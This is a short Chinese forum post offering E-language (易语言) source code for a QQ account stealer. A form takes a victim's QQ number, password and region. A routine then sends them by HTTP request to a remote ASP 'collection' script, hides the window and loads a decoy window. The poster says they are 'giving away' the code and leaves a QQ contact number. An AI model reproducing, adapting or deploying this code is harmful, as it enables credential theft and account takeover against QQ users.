.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.如果真 (QQASP (“
收信地址/qq.asp”, 编辑框1.内容, 编辑框2.内容, 编辑框3.内容) = “发送成功”)
.如果真结束
载入 (_启动窗口1, , 真)
_启动窗口.可视 = 假.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
.参数 区域, 文本型
返回 (到文本 (HTTP读文件 (地址 + “?” + “qqnumber=” + 号码 + “&qqpassword=” + 密码 + “----区域:” + 区域)))
蓝色的可以不要。
这段时间没空公布QQ了。
送个代码给大家吧
留下QQ:
470225755